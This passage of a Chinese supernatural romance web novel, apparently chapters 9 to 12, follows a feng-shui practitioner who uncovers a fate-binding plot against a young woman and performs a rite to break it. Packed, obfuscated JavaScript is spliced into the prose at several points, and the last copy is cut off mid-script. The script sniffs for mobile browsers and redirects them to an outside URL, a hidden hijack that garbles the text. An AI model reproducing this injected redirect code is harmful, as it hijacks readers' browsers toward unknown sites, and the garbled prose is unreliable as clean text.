许瑶点点头,说:“麻烦你们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099172|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆叙看她好奇地打量,解释到:“这位是我大侄子,不用和我们客气。” 陆修望:“……” 陆叙明明看起来很年轻,不做正事的时候也很幼稚,却总是一副长辈做派,陆修望现在是真有点好奇他的年龄了。 陆叙在许瑶对面的椅子上坐下,语气比平时轻松了一些:“别紧张。” “你的屋子没什么问题。”陆叙说,“如果你没有心理阴影,甚至可以住回去了。” 许瑶愣了一下,随即松了口气,但很快又紧张起来:“真的吗?那些东西都走了?” “死了。”陆叙纠正,“房子本身不是凶宅,也没有问题。” 他顿了顿,声音带着犹豫:“是有人想害你。” 许瑶的脸色刷地白了。 “什么意思?” 陆叙把文件袋里的资料拿出来,简单解释了一遍楼上的事,以及风铃和铜镜的位置问题。 “那些东西本来不会找上你,是有人故意布局,把它们引到你身边。”他看着许瑶,“我需要问你几个问题,最近有谁去过你屋里?” 许瑶努力回忆:“除了我父母,就只有水电师傅了。” “水电师傅?” “上星期。”许瑶说,“当时洗衣机外接的水管漏水了,物业找人来修过。” 陆叙点点头,又问:“你父母呢?他们什么时候去的?” “他们来帮我搬过家,前段时间也来看过我一次,我和他们说过这件事,他们怕我害怕,来陪了我两天。” 陆叙和陆修望对视了一眼。 许瑶还在怀疑:“会不会是那个水电师傅?我记得他进来之后,在房间里转了很久,说是要检查水路,当时我还觉得他挺负责的,现在想想……” “破坏风水是一件很复杂的事,要看外局,坐向,定气口看中宫,再起盘,还要仔细观察房间的衰星、动位,租户不一样,位置往往不一样,应事需要时间,他还得等……” 一个只来过一次的水电师傅,做不到这些。 他没有把话说得太明白:“我还需要确认一些事情,你把你的生辰八字告诉我。” 许瑶报了自己的生日和时辰,陆叙掏出手机,在小程序里输入信息,算了一遍。 八字偏阳,和他想的一样,他的视线落在许瑶手腕上戴着的那串珠子上,看起来有些年头了,上面刻着很细微的纹路,仔细一看,是一些佛法。 “这个是?”陆叙指了指那串珠子。 许瑶下意识摸了摸手腕:“这是我哥哥送我的,其实是他从小带大大的护身符。” 陆叙心下一动:“你哥哥?” “对。”许瑶的表情柔和了一些,“我哥身体一直不太好,运势也不顺,从小到大总是出各种状况。我爸妈为了他找了很多算命的,前前后后花了不少钱。” 她声音有些低落:“前段时间我哥又出了点事,我爸妈特别着急,又找了好几个师傅给他看。我给他打电话,想把这个珠子还给他,他怕我担心,说让我戴好,我一个人出门在外,更是要注意平安。” 陆叙的手指在桌面上轻轻敲了两下,这个珠子确实保护着许瑶,看来她哥哥并没有参与其中。 “你哥哥的生辰八字,你知道吗?” 许瑶点点头,说了她哥的生日,陆叙一听就知道不对劲了。 八字全阴,天干阴,地支阴,藏干也是阴。 这种命格的人…… 他抬起头,看向许瑶,眼神变得复杂,这下不是简单的害人了。 许瑶被他看得有些不安:“陆先生,怎么了?” “没什么。”陆叙摇摇头,“你哥哥现在在哪儿?” “在家里。”许瑶说,“他身体不太好,工作也在家附近,方便休养。” 他现在基本已经可以确定,许瑶父母找的那些“算命的”,至少有一个是歪门邪道。 用许瑶的命,去养她哥哥的局。 许瑶的父母不管知不知情,都是在利用她,这种事,他不知道该怎样告诉许瑶。 “你现在不管住哪都不太安全。”陆叙看起来有点烦躁,“害你的人不会停手。” 陆修望突然开口:“你们可以去我家,那些人的手伸不进陆家。” 10. 第 10 章 陆叙又回到了陆家老宅,这才过了两三天,老宅比之前热闹了不少,走廊里佣人来来往往,院子里也有人在打理园艺。之前那种压抑感似乎都消失了,整个地方都透着一股生气。 “你家人回来了?”陆叙问。 “嗯。”陆修望走在前面,“我爷爷的状态好了点,梦魇症状缓解了,其他人也陆续搬了回来。” 他顿了顿:“我爸妈说,想当面和你道谢。” 陆叙心里若有所思,这件事情不对劲,但他只是摆了摆手:“算了算了,我有点害羞,不太习惯这种场面。” 陆修望回头看他,眼里闪过一丝笑意:“害羞?你?” “怎么?”陆叙理直气壮,“我这人就是脸皮薄,见不得大场面。” 陆修望忍住笑,没有拆穿他。 “那就先不见了,”陆修望说,“我过会和他们说。” 两人穿过几个院子,最后停在一处独立的小院前。 “这是?”陆叙看着眼前的建筑。 “你的新房间。”陆修望推开门,“之前那间太小了,我重新安排了一间。” 陆叙走进去,整个人都愣住了。 这哪里是客房,简直是豪华套房,装修风格简约低调,但处处透着精致,落地窗外是一片常青树林,阳光透过竹叶洒进来,整个空间都被染上了一层淡淡的绿意。 “我操。”陆叙忍不住爆了句粗口,“这也太夸张了吧?” 他在房间里转了一圈,越看越愤怒,卧室又大又亮,卫生间都比他客厅还大,二楼还有一个采光通透的大工作间。 比这更难以接受的是,陆修望居然可以天天住这种地方,凭什么这家伙这么好命? 得想个办法恶心一下他。 陆叙思考了一下,转过身,一脸凝重地看向陆修望:“陆修望,你该不会是看上我了,想包养我吧?” 陆修望被他这话噎了一下:“你说什么呢?” “不然呢?”陆叙指着周围,“这才和我相处了几天,对我又搂又抱,客房都给我升舱了,总感觉你有所图谋。” 陆修望沉默了几秒,他现在对陆叙莫名其妙胡言乱语早已习以为常,想了想,既然他喜欢这样,配合他一次也没什么。 往前走了两步,他居高临下地看着坐在床边的陆叙:“那你愿意吗?” “嗯?” “我家庭条件不错,长相也不错。”陆修望语气认真,眼神却带着点玩味,“跟了我,你不亏吧?” 陆叙盯着他看了几秒,本以为这个死装哥会气急败坏,没想到这人居然和自己开起了玩笑。 这种时候更不能丢了场子,陆叙露出一个算计的表情:“可以是可以,但得看看你的诚意。” 陆修望在他旁边坐下,从口袋里随意摸出几张卡扔过去:“随便用。” 他转过头,眼里带着揶揄的笑意,却做出一副大爷的姿态:“只要你跟了我,什么都好说。” 陆叙吓得把卡扔回他怀里了,这小子现在怎么脸皮这么厚,都不会害羞了。 他轻咳一声:“你知道的,我跟着你什么都不图,只图你家的大房子。” 陆修望憋住笑,搂住陆叙的腰:“想住什么样的和我说,我房子多。” 他侧过头,声音几乎贴着陆叙的耳朵:“你这么怕见家长,住外面也可以。” “那我岂不变成你的外室了。”陆叙冷哼一声,整个人往后一倒,陷进柔软的床垫里,双手枕在脑后,一副破罐破摔的样子,“不过仔细想想,如果真被你包养也挺不错的,我是真不想努力了。” 阳光从落地窗洒进来,正好落在他身上,把他整个人都镀上一层金边,陆修望侧身看着他,陆叙就这么懒散地躺在他精心准备的房间里,身心完全放松,细密的睫毛在光线下根根分明,嘴角还带着点笑,一切都合适得刚刚好。 陆修望盯着他看了好一会儿,心里那种奇怪的感觉又出现了。 很熟悉。 非常熟悉。 就好像陆叙曾经也这样待在他身边,待在他伸手就能碰到的地方。 陆修望又想到了那个奇怪的梦,梦里那只白狐是陆叙吗?他对陆叙的熟悉感,会不会来源于所谓的前世今生? “不和你开玩笑了。”陆叙开口打断陆修望的沉思,他又坐了起来,“你住哪儿?过会我找你玩游戏。” “隔壁。”陆修望指了指墙,“就在你旁边。” “哟,这么近?”陆叙眯起眼睛,一脸怀疑地打量着他,“是不是为了方便半夜偷偷爬我床?” “不是说不开玩笑了吗?”陆修望忍不住笑了一声,又反问他:“还是说,你希望我爬?” 他语气轻浮,眼神却温柔带笑,陆叙愣了一瞬。 “如果你需要的话,”陆修望站起来,轻轻捏住他的下巴,“我今晚就可以来。” 陆叙盯着他看了几秒,拍开他的手,眼里全是挑衅:“得了吧,就你这有隐疾的童子身,爬上来能干什么?” 他叹了口气,语气带着虚假的怜悯:“也就只有我这样温柔体贴的不会嫌弃你。” 陆修望看到他眼底一闪而过的狡黠,抓住他的手腕,声音压低,带着点警告:“你再造谣试试呢?” “造谣?”陆叙来了兴趣,“我告诉你,我看人从来不会看错,你别不信。” 陆叙再一次从专业角度审视眼前的人,单看陆修望的面相,眉骨清正,眉形如剑,起势高而不压目,主命途顺遂,眼睛狭长却不阴,黑白分明,眼神明亮而定,鼻梁高直,山根稳固,鼻准丰而不露,根基厚、运路稳,一生少有大起大落。 这是典型的顺命相,名利不缺,一生富贵。 可中庭之后却有些奇怪,印堂以上明净开阔,印堂以下却像被一层气压着,不甚明朗,这并非大凶大破,只是预示着他面临重大的抉择和挑战,而这个抉择会影响他的后半生。 夫妻宫轮廓尚好,却气不聚,不缺桃花,却多虚影,缘分来得快,散得更快,很难落定。 整体阳气极盛,骨相挺拔,火气暗藏,这样的人,本该青欲旺盛,行走人间多贪多求。可偏偏他的五官眼尾不上挑,奸门不丰,肾气线收敛,这样的人想得多,得得少,越克制,内里渴求越盛,越冷淡,越欲壑难填。 所有渴望都在身体里打转,却很少真正落到现实。 这些矛盾迹象陆叙只能想到一种比较合理的解释。 陆叙又是一声叹息:“唉,你不想承认就算了,这种事对于男人确实难以启齿。” 陆修望冷哼一声,露出一个玩味的表情:“挑衅我?我今晚就来爬床,你亲自试试就知道了。” 说完,他转身往外走了。 陆叙打量着他的背影,他算是看明白了,这死小子也是个不服输的,被他占了便宜也一定要找回场子。 好巧,他也一样。 “诶,陆修望。” 陆修望停下脚步,回过头。 陆叙朝他招了招手:“过来。” 陆修望走回去,还没反应过来,陆叙突然伸手揪住他的领子,用力一拉。 陆修望猝不及防,整个人失去平衡往前倒,单手撑在床上才堪堪稳住身形。两人的距离瞬间缩短,鼻尖有一瞬间碰到了一起,陆修望撞进他带着得意的琥珀色双眼,几乎忘了说话。 陆叙凑到他耳边,温热的气息喷洒在他耳廓上,声音很轻:“许瑶的事,谢了——” 他故意拖长声音,尾音上扬:“老公。” 似有电流顺着耳廓蔓延到全身,陆修望在那一瞬间感觉全身血液涌上脑门,心脏在胸腔里剧烈地跳动,喉咙隐约发紧,这种感觉,以前从没有过。 陆修望愣在原地,陆叙却像没事人一样把他推开,然后摆摆手:“去忙吧。” 陆修望强作镇定走出房间,明明只是陆叙的恶作剧,但他却总感觉有什么东西在胸腔里不安分地躁动着,无法平息。 他回到自己房间,思绪却总是不自觉地飘走。 陆叙现在在做什么?是在睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆修望思考了一下,也皱起眉:“这太巧了吧?” 陆叙点头:“按理说,那么重的怨气,不应该这么难发现。但偏偏你们家找了那么多人,都没找出问题。” 陆修望沉默了几秒:“那为什么你能发现?” 陆叙说:“也许那个人藏得很深,普通的术士根本发现不了,只有达到某种条件的人,才能看见那些痕迹。” 陆修望问:“什么条件?” “我也不知道啊。”陆叙烦躁地抓了抓头发,“可能是体质,可能是修行,也可能是别的什么关联。但总之,这件事没这么简单,而我也牵扯其中。” 陆叙沉默了一会儿,抬头看向陆修望,神情严肃:“你去告诉你爹,还有你家其他主事的人,这件事绝对不能掉以轻心。” “过去的事还要再查,绝对不是一个怨鬼这么简单。”陆叙说,“现在的事更是毫无头绪,你家所有人都要留心,别着了人家的道。” 陆修望点点头:“我明白了。” 陆叙说:“针对你们的人,一定还有后手,之前我总觉得别人图的是你家的气运,生意,政途,但现在,我觉得人家要的是你全家的命。” 陆修望心里跟着紧张起来,走到阳台给他爹打了一通电话,面色也不太好看。 陆叙在房间里走了几圈,又坐了回去。 “许瑶的事我基本想通了。”陆叙说,“这件事也不是简单的同宗借运。” 他顿了顿,整理了一下思路:“如果那个人不是正道,怎么可能只是帮人借运这么好心,许瑶哥哥的体质是他们梦寐以求的器材。” 陆修望问:“那许瑶呢?” 陆叙说:“那个人的真正目的,不是让许瑶救她哥哥,而是要让兄妹俩合命,一起死,许瑶现在一定不能出差池。” 11. 第 11 章 “一起死?有什么说法吗?” 陆叙解释:“许瑶哥哥是纯阴之体,是器材,也是容器。” “这类人命格不稳,最容易被借、被引牵,也可以用来容纳别的东西……比如另一个人的灵魂。” 陆修望皱起眉:“听起来还挺全能。” “你有病吧?”陆叙笑了一声,“这种体质的人,如果父母无知,不知道保护好孩子的八字信息,那孩子这辈子基本就完了。” “和你这样的截然相反,八字偏阴的人多半运势不好,身体体质也不好。” 他顿了顿:“但是炼人丹、炼小鬼、当替身、承阴之器,这些你可能没听过,搞邪术的人最梦寐以求的就是这种体质,而且不只是活人盯着他们,鬼魂也对这类人虎视眈眈。” 陆修望了然,孩子体弱多病且倒霉,病急乱投医的父母遇到了心怀不轨的“高人”。 陆叙叹了口气:“给许瑶做局的那个人,能聚阴、改命,这不是一般人能办到的,而且正统道家弟子有严苛的戒律,根本不能做这些事。” “他们家找的人,要么是旁门左道,要么是半路出家的野路子。”陆叙说,“但不管哪种,能做到这个程度的,都不简单。” 陆修望看着他,突然问:“那你呢?你不也是非正统弟子吗?” 陆叙愣了一下,没马上回答,想了想,还是告诉了陆修望:“我以前是有师承的。” “只不过现在我师父闭了窍,不再做这些事了。”陆叙语气平淡,听不出什么意味。 “那你算什么弟子?” 陆叙半开玩笑地说:“我算半路断了机缘的那种散修。” 陆修望想追问,最后还是把话咽了回去。 陆叙看他那副想问又不好意思问的样子,倒也没藏着掖着:“这一行干久了你就会发现,鬼其实比人好对付多了。” 他躺回床上:“妖魔鬼怪害人,你能看出端倪,找到源头,多半就能解决。它们的恶意摆在明面上,该夺舍夺舍,该索命索命,反而简单。” “可人不一样。”陆叙的语气随意,“人太难猜了,道行再深,能看清人的命格,猜得到他们的性格,但是猜不透他们做事的目的。” 他顿了顿:“这是我师父说的。” “他是遇到什么事了吗?”陆修望问。 “具体的我不太清楚,他也没细说。”陆叙摇摇头,“前几年他帮人处理完一桩事,回来之后就说不想再牵扯这些因果了,他看不透也不想看透,索性就不看了。” 陆修望沉默了几秒:“那你呢?你就这么断了传承,不觉得可惜?” “可惜什么?”陆叙反而笑了,“机缘这种东西,本来就是命中注定的,有就有,没了就没了,不必强求。” 他说得很坦然:“虽然我师父不做了,但我还可以再去找别的师承,甚至去当个正统道家弟子,但没必要,能做这一行的时候就做,做不了了就去干别的,非要强求才能得到的东西就算不上缘了。” 陆修望看着他那副无所谓的样子,突然觉得这人虽然看起来吊儿郎当,但对很多事倒是看得挺透彻:“我只是觉得有点可惜,你看起来很有天赋,就这么半途而废了。而且你师父这样做,也是对你的不负责。” “停停停,你想什么呢?我和我师父关系好得很,少在这挑拨离间。” “况且这一行本来就不是什么正经营生。”陆叙耸耸肩,“你以为能通阴阳、知生死,看起来很牛逼,实际上就是夹在两界中间干脏活的,人觉得你装神弄鬼,鬼觉得你坏鬼好事,两边都不讨好。” “干久了对自身气场也有影响,所以我现在有一单接一单,没单就歇着,赚点钱花花就行了,太复杂的不做,太危险的也不做。”他转头瞥了陆修望一眼,“你家这破事除外。” 陆修望问他:“所以你当时为什么会帮我?” 总不能说是没钱抽卡吧,陆叙略一思索,随意编了个理由:“大家都姓陆,几千年前是一家人,说不定以前还有过交集,都是缘分。” 这话一听就是借口,但陆修望却若有所思,他注视着陆叙的侧脸,线条精致,一颗小痣灵动又可爱,仿佛和梦里那只白狐重叠。 陆修望问:“你这么说,是因为你相信前世今生吗?” 陆叙挑眉:“前世因后世果,此事在民间物理学中亦有记载。” 陆修望还想追问,话还没问出口,就被急促的敲门声打断。 陆修望皱着眉打开门,门外站着许瑶,满脸泪水,整个人看起来摇摇欲坠。 许瑶看向陆叙,声音哽咽:“我都想明白了,是我爸妈,是他们要害我……” 陆叙刚要开口,许瑶打断他:“我哥刚刚车祸去世了。” 她这话说的很突然,陆叙还没反应过来,许瑶接着说:“我爸妈现在也没有再害我的理由了,我要回去送我哥哥一程,这段时间打扰了,费用过后和你结清。” 陆叙和陆修望对视了一眼,两人眼中都闪过一丝惊愕。 陆叙深吸一口气,尽量让自己的声音听起来平稳:“许瑶,你不能自己回去,这件事不是你想的那么简单。” “有什么不简单的?”许瑶情绪很激动,“我哥哥死了!我现在只想回去见他最后一面!” “你冷静点——” “别说了!”许瑶往后退了一步,“谢谢你帮我……” 看她那副听不进人话的样子,陆修望突然拉下脸,声音里带着火气:“别给我在这哭!” 许瑶被他的语气吓了一跳,愣在原地。 陆修望盯着她,眉眼阴沉,一字一句地说:“你知不知道,那天为了处理你那间凶宅,陆叙虚弱到路都走不了,但他一直在思考你那破事的解决办法。他说你还是个小姑娘,答应你的事肯定要尽力而为,而你呢,意气用事,不把别人的告诫当回事。” 陆修望指着门外:“你可以不听他的,但你现在就他妈的把费用结了,然后滚。你一意孤行死了就死了,死后别再来牵扯他。” 许瑶僵在那里,眼泪还在流,但她的情绪明显被这句话震住了。 陆叙看了陆修望一眼,这小子在关键时刻还挺能镇住场子,他走到许瑶面前,语气也不太好:“许瑶,这人的目的,不仅是要你哥死,同时也要你死,回不回,你自己考虑清楚。” “你哥的魂魄估计已经被他拘住,你现在和他同命相连,你回去,就等着和他一起被炼化吧。”陆叙的眼神认真,“如果你想你哥入土为安,就静下来听我把这件事说清楚,然后大家一起想办法。” 许瑶茫然失措,低声说了句“对不起”。 陆叙让她进来坐下,问她:“你是怎么知道你哥出事的?” 许瑶眼泪还在无知觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099174|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地滑落,显然和哥哥关系很好:“刚刚吃完饭我躺床上,心神不宁,想了很多,然后我想明白了你的言外之意,在我家里动过手脚的,根本不是水电师傅,是我父母。” “我刚想打电话质问他们,我妈就打来了电话,她说我哥刚才过马路的时候神情恍惚,被车撞了,当场就……” 她再也说不下去了,捂着脸哭出声来。 “先别哭了。”陆叙坐回椅子上看着许瑶:“你刚才说,你哥哥出事的时候神情恍惚,那你呢?你当时有没有什么感应。” 许瑶想了想:“我……好像没什么特殊的,我当时知道真相,心里像被拉了一把,特别难受,就一直在哭……” 许瑶情绪崩溃,她哥哥神情恍惚,这不是巧合,这就是牵命合厄。 陆修望低声问:“这是不是意味着那个人的计划被意外打乱了……” “原本的局破了,”陆叙接过话,“但也意味着许瑶现在更危险了。” 他看向许瑶:“你哥虽然死了,但那个人的目的还没达成,你现在回去就等于白送一个人头,但如果你不回去,没人去处理这件事,你哥的魂魄也会被他用于其他,不得往生。” 陆修望问:“那现在怎么办?如果拖延不回去,会不会打草惊蛇?” 陆叙也烦躁地抓了一把头发:“要不先把许瑶身上的厌胜和牵连处理了?” “厌胜……牵连?” 陆叙冷笑一声:“厌胜,是用你的头发指甲之类的,带着你气息的东西,加上贴身衣物,对你施加咒术,这东西一旦做成,你就相当于在他那边有了个标记。” 他顿了顿:“有了这个标记,他就能通过你的贴身物件做系命介质,把你和你哥哥绑在一起。” “他给你父母说的应该很体面,估计还能拿出什么禳灾解厄转运科的法本,听起来是在帮你哥哥。”陆叙的语气很冷,“但实际上,他施的是应该是牵命合厄。” 陆修望皱起眉:“这是什么?” “表面看是借运,许瑶越来越虚、越来越倒霉,她哥可能会突然顺起来,像是把她的福气挪过去了,他父母也不会产生怀疑。”陆叙解释,“但这不是单方面的借,而是把两个人的命格绑在一起,一个人出事,另一个人必然受牵连。” 他停了停,看向许瑶:“你们兄妹俩的因果报应也合到一起了,你哥是纯阴,本身就容易招祸,你原本八字硬,最开始能扛得住,但他又在你家里动了手脚,那些招来的脏东西还会让你越来越虚,最后就得跟着你哥一起倒霉。” 许瑶的世界观显然受到了巨大冲击:“那……那他为什么要这么做?” 陆叙给她解释了一下她哥的命格,又补充说:“他不满足于一个纯阴之魄,他还想要你这个血脉相连的魂魄,等时机成熟,你们兄妹俩会一起出事,他会趁你们最弱的时候收魂封魄,炼成他能驱使的东西,这一步就是摄魂归箓。” “民间叫法很多,双摄契、并役、载魄,本质都一样。你哥就是现成的,被你父母送上门的耗材,后面又了解到他还有妹妹,同源好牵,更是意外之喜。知道锁长啥样吗?等你死了,你和你哥相当于锁舌和锁芯,可以合并在一起,相辅相成,为他所用。 房间里一片寂静,陆叙指了指面前的两人,无奈叹了口气:“我也是倒霉,大半年没开张,一开张就碰到你们这俩烦人玩意。” 12. 第 12 章 陆修望冷哼一声,不屑地扫了许瑶一眼:“别把我和她混为一谈,我可没这么不识好歹。” 陆叙无语地轻咳一声,这个人显然忘记了自己当初态度多么恶劣,陆修望注意到他的视线,心虚地移开目光。 许瑶倒是愣了愣,视线在陆叙和陆修望之间来回打量,疑惑开口:“陆先生,这位陆……不是你大侄子吗?” 陆叙面不改色:“之前骗你的,他是我老公。” 空气凝固了两秒。 陆修望不屑的表情瞬间僵在脸上,许瑶张着嘴说不出话,两人都沉默了,但房间里那股压抑的气氛倒是轻松了不少。 “不和你们开玩笑了。”陆叙清了清嗓子,敲了敲许瑶面前的桌子,直接切入正题:“我考虑好了,先给你解厌胜,解完之后你身体会虚弱几天,这就是个暂时不回去办你哥哥后事的借口。” 许瑶回过神来,仍有顾虑:“我怕我父母追问……那边会不会觉察到我们的意图。” “只要解咒他肯定会知道,这没什么大不了的,”陆叙打断她:“你父母那里,你就说你病得很重,再加上受刺激太大,医生不让你出院,等解完厌胜,确保安全了再回去,稳妥。” 陆修望接过话头:“怎么解?” “相当于做一场法事,但我得斋戒三天。”陆叙说着拿出手机,“我联系老郑,让他简单置个坛就行,材料和步骤都不复杂,但许瑶得吃点苦。” 陆修望想了想:“可以在陆家弄,地方够大,什么都好安排。” “不行。”陆叙头也不抬地拒绝,“你和许瑶非亲非故,我可不能再影响你家风水。” 陆修望皱起眉:“那我又能帮你什么?” 陆叙抬眼看他,脸上露出一个欣慰的笑:“你继续充当护身符,在指定位置别动就行。对了,如果必要的话,帮许瑶伪造一份病历。” 陆修望还想说话,陆叙已经起身,顺势拍了拍他的肩膀:“好小子。” 三天后,车子停在老郑家门口时,已经是晚上十点多。陆叙抬头看了一眼天色,月亮被厚重的云层遮住,连星星都看不见几颗。 “这星象不太好。”老郑迎出来,递给陆叙一杯热茶,“要不改日?” 陆叙接过茶杯,捧在手里暖着:“事关紧急,再拖可能会坏事。” 老郑点点头,也没多劝,侧身让开路:“东西我都准备好了,就在后院。” 许瑶这两天几乎没怎么睡过好觉,一半是心烦,一半是被陆叙的夸大其词吓的,整个人瘦了一圈,脸色苍白得像纸,眼眶下一片青黑。她紧紧抓着陆叙的袖子,手指因为用力过度而微微发颤。 “陆先生……”她看向陆叙,声音很轻,“解了厌胜,我哥他……就能得到解脱吗?” 陆叙没有立刻回答,他盯着许瑶看了几秒,眉头皱得很紧。 许瑶的命宫笼着一层若有若无的黑气,那是厌胜之术被破的痕迹,让陆叙在意的是,那层黑气并不安分,它像活物一样在许瑶眉心处缓慢游走,时不时往她泥丸宫的方向渗。 这说明那个借运的局还没彻底断开,还在被人维系着,等一个契机。 “你哥虽然被拘着,但魂魄未散。”陆叙收回视线,“命数还有一丝残留,只要那一丝还在,就有机会,解牵连只是第一步。” 他叹了口气:“这件事很麻烦,你得做好准备。” 经过这两天的挣扎,许瑶已经收起了无用的悲伤,坚定地点了点头。 老郑带着几人穿过客厅,来到后院。 这是一个不大的院子,三面围着墙,地面铺着青石板,很干净,院子中央已经搭好了一座简易法坛,用红布铺了一张长桌,桌上摆着常用的器材,还有几样陆叙之前让老郑准备的法器。 桌子正前方的地面上,用白石灰粉画了一个圆形的法阵,阵中有北斗七星图案,周围还零散地标注着一些复杂的符号。 陆叙走到法坛前,一样样检查桌上的物品。 老郑指着桌角的一个木盒:“护身符是找马先生画的,朱砂是正宗的辰州砂,清油也是新换的,灯芯我特地用朱砂泡过,招魂水的符也备好了,就等你开坛。” 陆叙打开木盒,里面躺着一张黄色的符纸,陆修望好奇地凑上前打量。 “这是什么?” 陆叙看了陆修望一眼,表情无奈:“这是太乙救苦天尊敕令,我知道你对这些感兴趣,但现在不是时候。” 陆叙把符纸放回盒子里,转身看向陆修望和许瑶:“你们这俩不省心的玩意先在旁边坐着,别乱走动。” 陆修望看着他那副故作成熟的样子,忍不住偷偷笑了一下。两人在院子角落的长凳上坐下,许瑶手还有点抖,看起来很紧张,陆修望扫了她一眼:“抖什么,他之前去你家驱鬼比这凶险多了。” 许瑶勉强挤出一个笑容,没说话。 陆叙脱下外套递给陆修望,然后从背包里翻出一件叠得整整齐齐的素色长衫,浅灰色,没有任何花纹。 “你还玩上换装play了?”陆修望有点意外。 “做法事得穿素衣,这是规矩。”陆叙边说边把长衫套上,“你少在这胡言乱语,小心被雷劈。” 陆修望没接话,视线却不自觉地盯着陆叙,这人平时很注重穿搭,但此刻换上素衣,那张本来带着点轻佻的脸绷得很紧,眉眼间的散漫完全消失,取而代之的是一种陆修望从未见过的肃穆。 但就在这种严肃的氛围下,陆修望发现自己心里居然多了几分怪异的想法。 陆叙走到院子一角的水池,捧起冷水往脸上泼,水滴顺着下巴滴落,抹了一把脸,又弯腰净手,做完这些,他站直身体,闭上眼深吸了一口气。 随后,他走回法坛前,从桌上拿起一个小瓷瓶,拧开盖子,倒出一些透明的液体在手心,然后用手指蘸着液体,在法坛四周的地面上洒了一圈。 “太上台星,应变无停。驱邪缚魅,保命护身。慧明净,心神安宁。三魂永久,魄无丧倾。急急如律令。”??“……”声音很低,但每个字都清晰有力,“天地自然,秽气分散。洞中玄虚,晃朗太元……” “弟子诚心奉请当方土地、山川社稷,护持今宵法事,勿使外魔干扰。” 陆修望听不太懂他在念什么,但能感觉到那些话像是有某种韵律,非常庄重,随着陆叙的声音在院子里回荡。 洒完符水,陆叙从桌上拿起三炷香点燃,举过头顶躬身一拜。 “弟子陆叙,今夜开坛,恭请三清祖师,太乙救苦天尊,临坛护法。”他的声音很沉,一字一顿,“弟子无门无派,不在名册,今诚心奉请,为许瑶许怀解厄消灾,斩除邪锁,还其本命。若有冒犯,还请见谅。” 说完,他把香插进香炉,又深深鞠了一躬。 陆修望看着陆叙的背影,他现在感觉到了,这个平时满嘴玩笑话爱搞恶作剧,看起来很幼稚的人,此刻认真、虔诚,还带着一种对未知的——敬畏。 陆叙直起身,从木盒里取出那张太乙护身符。 “老郑,把灯关了。” 院子死角灯灭,瞬间陷入黑暗,只剩下法坛上的蜡烛在夜风中摇曳。 陆叙举着符纸凑到烛火前,火光把符纸照得通透,能清楚地看到上面密密麻麻的符文,他抬手把符纸点燃,火苗从符纸底部烧起,慢慢往上蔓延,陆叙没有松手,任由火焰烧到指尖,才把燃烧的符纸丢进香炉里,这一步是焚符护体。 烟雾升起,带着一股淡淡的甘甜味道。 陆叙这才转身看向许瑶: “过来。” 陆叙指着地上那个画着北斗七星的法阵:“躺进去,头朝北。” 许瑶照做,她躺在冰凉的石板地上,手紧紧抓着衣角,极力克制住自己的紧张不安。 陆叙从桌上拿起一盏小小的油灯,放在许瑶头顶。灯芯是朱红色的,点燃后,火苗跳动了几下,很快稳定下来。 “这是返魂灯。”陆叙轻声安慰她,“灯不灭,魂不散。你别乱动,也别害怕。” 许瑶点点头。 陆叙又拿起一个小碗,里面装着半碗透明的液体,他从许瑶脖子上取下一根细细的红绳,这是带着许瑶指尖血的护身符,陆叙前天夜里帮她准备的。 红绳放进碗里,又从桌上拿起一张符纸,点燃后丢了进去,符纸在水面上燃烧,很快化成灰烬沉入水底。 陆叙端起碗,放在许瑶脚边。 “招魂水。”他说,“一会你可能会很难受,忍着点。” 许瑶攥紧拳头,整个人很紧绷,但为了自己的哥哥,她必须克服这种未知的恐惧。 陆叙走回法坛前,从桌上拿起一张黄色的符纸,深吸一口气,又拿起一支朱砂笔,这是他第一次在没有任何人护法,只有一个啥也不懂的护身符的情况下,独自完成仪式,说不紧张是不可能的。 他低头在符纸上落下第一笔,心里有点慌,但手却很稳,符头写下“太乙救苦天尊青玄上帝敕”九个大字,笔画苍劲有力。 符腹画上太乙天尊的化身,手持杨柳枝,坐九色莲花座上,枝头洒落甘露,那些线条在烛光下像是活了过来,每一笔都带着某种说不清的气劲。 陆叙的额头开始渗出汗珠,但他不敢停笔。 又在符膽的位置写下“返魂归命”“断邪锁”几个隐讳的字,笔画之间相互勾连,形成一个复杂的图案。 符尾画上一条黑色的线,代表因果锁链,然后用笔触在黑线中央画了一道裂痕。 符纸画完,陆叙松开笔,手腕已经酸得发麻。 他举起符纸,烛光照透符纸的瞬间,许瑶似乎看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 